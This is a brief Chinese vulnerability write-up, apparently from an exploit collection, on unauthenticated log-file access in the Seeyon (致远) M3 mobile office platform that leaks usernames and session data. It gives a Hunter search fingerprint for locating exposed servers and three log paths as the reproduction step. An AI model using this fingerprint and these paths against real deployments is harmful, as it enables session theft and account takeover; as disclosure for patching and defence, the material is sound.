致远M3 移动智能办公平台存在敏感信息泄露漏洞
一、漏洞简介
致远M3移动办公是致远互联打造的一站式智能工作平台，提供全方位的企业移动业务管理，致力于构建以人为中心的智能化移动应用场景，促进人员工作积极性和创造力，提升企业效率和效能，是为企业量身定制的移动智慧协同平台。 在致远M3 server以下日志文件允许未授权访问泄露登陆用户名及session等敏感信息。
二、影响版本
- 致远M3移动智能办公平台
三、资产测绘
- hunter
web.icon=="657d4895205951cbea6396701b194c30" - 特征
四、漏洞复现
/mobile_portal/logs/autoLogin.log
/mobile_portal/logs/app.log
/mobile_portal/logs/requset.log